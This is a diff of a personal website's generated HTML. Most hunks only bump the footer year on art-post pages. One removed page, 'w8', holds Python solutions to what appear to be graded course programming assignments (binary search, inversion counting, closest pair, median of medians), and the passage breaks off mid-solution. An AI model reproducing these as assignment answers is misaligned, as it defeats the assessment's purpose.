href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -2,4 +2,4 @@
lawyer ferris as my mascot both due to ferris being in the public domain
as well as the sheer memeworthiness of the debacle.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jun 18, 2024</p><h1>This Error</h1></hgroup><section class=post-content><p>My first hand drawn YouTube thumbnail, I&rsquo;m might continue using
<em>lawyer ferris</em> as my mascot both due to ferris being in the public domain
as well as the sheer memeworthiness of the debacle.</p><img src=../../this-error.avif style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
as well as the sheer memeworthiness of the debacle.</p><img src=../../this-error.avif style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,3 +1,3 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Truce - lavafroth</title><meta name=description content='A painting of the lead vocalist of Twenty Øne Piløts, named
after one of my favorite songs from their album Vessel.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jul 23, 2022</p><h1>Truce</h1></hgroup><section class=post-content><p>A painting of the lead vocalist of Twenty Øne Piløts, named
after one of my favorite songs from their album Vessel.</p><img src=../../truce.avif style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
after one of my favorite songs from their album Vessel.</p><img src=../../truce.avif style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1 +1 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Throwing knives - lavafroth</title><meta name=description content='An unfinished animation with a focus on anatomy. Thank you Polina Tankilevitch for the reference video.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jan 19, 2024</p><h1>Throwing knives</h1></hgroup><section class=post-content><p>An unfinished animation with a focus on anatomy. Thank you <a href=https://www.pexels.com/@polina-tankilevitch/>Polina Tankilevitch</a> for the <a href=https://www.pexels.com/video/a-young-woman-showing-her-skill-in-dancing-5385879/>reference video</a>.</p><img src=../../throwing-knives.avif style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Throwing knives - lavafroth</title><meta name=description content='An unfinished animation with a focus on anatomy. Thank you Polina Tankilevitch for the reference video.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jan 19, 2024</p><h1>Throwing knives</h1></hgroup><section class=post-content><p>An unfinished animation with a focus on anatomy. Thank you <a href=https://www.pexels.com/@polina-tankilevitch/>Polina Tankilevitch</a> for the <a href=https://www.pexels.com/video/a-young-woman-showing-her-skill-in-dancing-5385879/>reference video</a>.</p><img src=../../throwing-knives.avif style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,263 +0,0 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>w8 - lavafroth</title><meta name=description content="GRPA 1
def findOccOf(arr, x):
lo = 0
hi = len(arr) - 1
loval = None
while lo <= hi:
mid = (lo + hi) // 2
c = arr[mid]
if x < c:
hi = mid - 1
elif x > c:
lo = mid + 1
elif x == c:
loval = loval or mid
loval = min(loval, mid)
hi = mid - 1
lo = 0
hi = len(arr) - 1
hival = None
while lo <= hi:
mid = (lo + hi) // 2
c = arr[mid]
if x < c:
hi = mid - 1
elif x > c:
lo = mid + 1
elif x == c:
hival = hival or mid
hival = max(hival, mid)
lo = mid + 1
return loval, hival
GRPA 2
def merge_inversion(left, right):
merged = []
count = 0
i, j = 0, 0
m = len(left)
n = len(right)
while i + j < m + n:
if j == n or (i != m and left[i] < right[j]):
merged.append(left[i])
i += 1
continue
merged.append(right[j])
j += 1
count += m - i
return merged, count
def sort_and_count(arr):
n = len(arr)
if n == 1:
return arr, 0
left = arr[: n // 2]
right = arr[n // 2 :]
left, count_left = sort_and_count(left)
right, count_right = sort_and_count(right)
merged, count_both = merge_inversion(left, right)
return (merged, count_left + count_right + count_both)
def countIntersection(a, b):
tuples = sorted(zip(a, b))
b = [t[1] for t in tuples]
return sort_and_count(b)[1]
GRPA 3
dist = lambda a, b: ((a[0]-b[0])**2 + (a[1]-b[1])**2)**.5
def closest_pair(Px, Py):
n = len(Px)
if n <= 3:
min_d = float('inf')
for i in range(n):
for j in range(i + 1, n):
min_d = min(min_d, dist(Px[i], Px[j]))
return min_d
mid = n // 2
Qx = Px[:mid]
Rx = Px[mid:]
mid_point = Qx[-1][0]
Qy = []
Ry = []
for p in Py:
if p[0] <= mid_point:
Qy.append(p)
else:
Ry.append(p)
min_d = min(closest_pair(Qx, Qy), closest_pair(Rx, Ry))
Sy = [p for p in Py if mid_point - min_d <= p[0] <= mid_point + min_d]
for i in range(len(Sy)):
for j in range(i + 1, len(Sy)):
if Sy[j][1] - Sy[i][1] >= min_d:
break
min_d = min(min_d, dist(Sy[i], Sy[j]))
return min_d
def minDistance(points):
Px = sorted(points, key=lambda p: p[0])
Py = sorted(points, key=lambda p: p[1])
return round(closest_pair(Px, Py), 2)
GRPA 4
def mid(a):
if len(a) <= 7:
return sorted(a)[len(a)//2]
m = []
for i in range(0,len(a), 7):
m.append(mid(a[i:i+7]))
return mid(m)
def MoM7Pos(arr):
m = mid(arr)
pos = 0
for x in arr:
if x < m:
pos += 1
return pos
"><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Oct 3, 2025 | 3 minutes read</time></p><h1 data-pagefind-meta=title>w8</h1></hgroup><section class=post-content data-pagefind-body><h2 id=grpa-1>GRPA 1</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>findOccOf</span>(arr, x):
</span></span><span style=display:flex><span> lo <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>
</span></span><span style=display:flex><span> hi <span style=color:#f92672>=</span> len(arr) <span style=color:#f92672>-</span> <span style=color:#ae81ff>1</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> loval <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>while</span> lo <span style=color:#f92672>&lt;=</span> hi:
</span></span><span style=display:flex><span> mid <span style=color:#f92672>=</span> (lo <span style=color:#f92672>+</span> hi) <span style=color:#f92672>//</span> <span style=color:#ae81ff>2</span>
</span></span><span style=display:flex><span> c <span style=color:#f92672>=</span> arr[mid]
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> x <span style=color:#f92672>&lt;</span> c:
</span></span><span style=display:flex><span> hi <span style=color:#f92672>=</span> mid <span style=color:#f92672>-</span> <span style=color:#ae81ff>1</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>elif</span> x <span style=color:#f92672>&gt;</span> c:
</span></span><span style=display:flex><span> lo <span style=color:#f92672>=</span> mid <span style=color:#f92672>+</span> <span style=color:#ae81ff>1</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>elif</span> x <span style=color:#f92672>==</span> c:
</span></span><span style=display:flex><span> loval <span style=color:#f92672>=</span> loval <span style=color:#f92672>or</span> mid
</span></span><span style=display:flex><span> loval <span style=color:#f92672>=</span> min(loval, mid)
</span></span><span style=display:flex><span> hi <span style=color:#f92672>=</span> mid <span style=color:#f92672>-</span> <span style=color:#ae81ff>1</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> lo <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>
</span></span><span style=display:flex><span> hi <span style=color:#f92672>=</span> len(arr) <span style=color:#f92672>-</span> <span style=color:#ae81ff>1</span>
</span></span><span style=display:flex><span> hival <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>while</span> lo <span style=color:#f92672>&lt;=</span> hi:
</span></span><span style=display:flex><span> mid <span style=color:#f92672>=</span> (lo <span style=color:#f92672>+</span> hi) <span style=color:#f92672>//</span> <span style=color:#ae81ff>2</span>
</span></span><span style=display:flex><span> c <span style=color:#f92672>=</span> arr[mid]
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> x <span style=color:#f92672>&lt;</span> c:
</span></span><span style=display:flex><span> hi <span style=color:#f92672>=</span> mid <span style=color:#f92672>-</span> <span style=color:#ae81ff>1</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>elif</span> x <span style=color:#f92672>&gt;</span> c:
</span></span><span style=display:flex><span> lo <span style=color:#f92672>=</span> mid <span style=color:#f92672>+</span> <span style=color:#ae81ff>1</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>elif</span> x <span style=color:#f92672>==</span> c:
</span></span><span style=display:flex><span> hival <span style=color:#f92672>=</span> hival <span style=color:#f92672>or</span> mid
</span></span><span style=display:flex><span> hival <span style=color:#f92672>=</span> max(hival, mid)
</span></span><span style=display:flex><span> lo <span style=color:#f92672>=</span> mid <span style=color:#f92672>+</span> <span style=color:#ae81ff>1</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> loval, hival
</span></span></code></pre></div><h2 id=grpa-2>GRPA 2</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>merge_inversion</span>(left, right):
</span></span><span style=display:flex><span> merged <span style=color:#f92672>=</span> []
</span></span><span style=display:flex><span> count <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> i, j <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>, <span style=color:#ae81ff>0</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> m <span style=color:#f92672>=</span> len(left)
</span></span><span style=display:flex><span> n <span style=color:#f92672>=</span> len(right)
</span></span><span style=display:flex><span> <span style=color:#66d9ef>while</span> i <span style=color:#f92672>+</span> j <span style=color:#f92672>&lt;</span> m <span style=color:#f92672>+</span> n:
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> j <span style=color:#f92672>==</span> n <span style=color:#f92672>or</span> (i <span style=color:#f92672>!=</span> m <span style=color:#f92672>and</span> left[i] <span style=color:#f92672>&lt;</span> right[j]):
</span></span><span style=display:flex><span> merged<span style=color:#f92672>.</span>append(left[i])
</span></span><span style=display:flex><span> i <span style=color:#f92672>+=</span> <span style=color:#ae81ff>1</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>continue</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> merged<span style=color:#f92672>.</span>append(right[j])
</span></span><span style=display:flex><span> j <span style=color:#f92672>+=</span> <span style=color:#ae81ff>1</span>
</span></span><span style=display:flex><span> count <span style=color:#f92672>+=</span> m <span style=color:#f92672>-</span> i
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> merged, count
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>sort_and_count</span>(arr):
</span></span><span style=display:flex><span> n <span style=color:#f92672>=</span> len(arr)
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> n <span style=color:#f92672>==</span> <span style=color:#ae81ff>1</span>:
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> arr, <span style=color:#ae81ff>0</span>
</span></span><span style=display:flex><span> left <span style=color:#f92672>=</span> arr[: n <span style=color:#f92672>//</span> <span style=color:#ae81ff>2</span>]
</span></span><span style=display:flex><span> right <span style=color:#f92672>=</span> arr[n <span style=color:#f92672>//</span> <span style=color:#ae81ff>2</span> :]
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> left, count_left <span style=color:#f92672>=</span> sort_and_count(left)
</span></span><span style=display:flex><span> right, count_right <span style=color:#f92672>=</span> sort_and_count(right)
</span></span><span style=display:flex><span> merged, count_both <span style=color:#f92672>=</span> merge_inversion(left, right)
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> (merged, count_left <span style=color:#f92672>+</span> count_right <span style=color:#f92672>+</span> count_both)
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>countIntersection</span>(a, b):
</span></span><span style=display:flex><span> tuples <span style=color:#f92672>=</span> sorted(zip(a, b))
</span></span><span style=display:flex><span> b <span style=color:#f92672>=</span> [t[<span style=color:#ae81ff>1</span>] <span style=color:#66d9ef>for</span> t <span style=color:#f92672>in</span> tuples]
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> sort_and_count(b)[<span style=color:#ae81ff>1</span>]
</span></span></code></pre></div><h2 id=grpa-3>GRPA 3</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>dist <span style=color:#f92672>=</span> <span style=color:#66d9ef>lambda</span> a, b: ((a[<span style=color:#ae81ff>0</span>]<span style=color:#f92672>-</span>b[<span style=color:#ae81ff>0</span>])<span style=color:#f92672>**</span><span style=color:#ae81ff>2</span> <span style=color:#f92672>+</span> (a[<span style=color:#ae81ff>1</span>]<span style=color:#f92672>-</span>b[<span style=color:#ae81ff>1</span>])<span style=color:#f92672>**</span><span style=color:#ae81ff>2</span>)<span style=color:#f92672>**</span><span style=color:#ae81ff>.5</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>closest_pair</span>(Px, Py):
</span></span><span style=display:flex><span> n <span style=color:#f92672>=</span> len(Px)
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> n <span style=color:#f92672>&lt;=</span> <span style=color:#ae81ff>3</span>:
</span></span><span style=display:flex><span> min_d <span style=color:#f92672>=</span> float(<span style=color:#e6db74>&#39;inf&#39;</span>)
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> i <span style=color:#f92672>in</span> range(n):
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> j <span style=color:#f92672>in</span> range(i <span style=color:#f92672>+</span> <span style=color:#ae81ff>1</span>, n):
</span></span><span style=display:flex><span> min_d <span style=color:#f92672>=</span> min(min_d, dist(Px[i], Px[j]))
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> min_d
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> mid <span style=color:#f92672>=</span> n <span style=color:#f92672>//</span> <span style=color:#ae81ff>2</span>
</span></span><span style=display:flex><span> Qx <span style=color:#f92672>=</span> Px[:mid]
</span></span><span style=display:flex><span> Rx <span style=color:#f92672>=</span> Px[mid:]
</span></span><span style=display:flex><span> mid_point <span style=color:#f92672>=</span> Qx[<span style=color:#f92672>-</span><span style=color:#ae81ff>1</span>][<span style=color:#ae81ff>0</span>]
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> Qy <span style=color:#f92672>=</span> []
</span></span><span style=display:flex><span> Ry <span style=color:#f92672>=</span> []
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> p <span style=color:#f92672>in</span> Py:
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> p[<span style=color:#ae81ff>0</span>] <span style=color:#f92672>&lt;=</span> mid_point:
</span></span><span style=display:flex><span> Qy<span style=color:#f92672>.</span>append(p)
</span></span><span style=display:flex><span> <span style=color:#66d9ef>else</span>:
</span></span><span style=display:flex><span> Ry<span style=color:#f92672>.</span>append(p)
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> min_d <span style=color:#f92672>=</span> min(closest_pair(Qx, Qy), closest_pair(Rx, Ry))
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> Sy <span style=color:#f92672>=</span> [p <span style=color:#66d9ef>for</span> p <span style=color:#f92672>in</span> Py <span style=color:#66d9ef>if</span> mid_point <span style=color:#f92672>-</span> min_d <span style=color:#f92672>&lt;=</span> p[<span style=color:#ae81ff>0</span>] <span style=color:#f92672>&lt;=</span> mid_point <span style=color:#f92672>+</span> min_d]
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> i <span style=color:#f92672>in</span> range(len(Sy)):
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> j <span style=color:#f92672>in</span> range(i <span style=color:#f92672>+</span> <span style=color:#ae81ff>1</span>, len(Sy)):
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> Sy[j][<span style=color:#ae81ff>1</span>] <span style=color:#f92672>-</span> Sy[i][<span style=color:#ae81ff>1</span>] <span style=color:#f92672>&gt;=</span> min_d:
</span></span><span style=display:flex><span> <span style=color:#66d9ef>break</span>
</span></span><span style=display:flex><span> min_d <span style=color:#f92672>=</span> min(min_d, dist(Sy[i], Sy[j]))
</span></span><span style=display:flex><span>
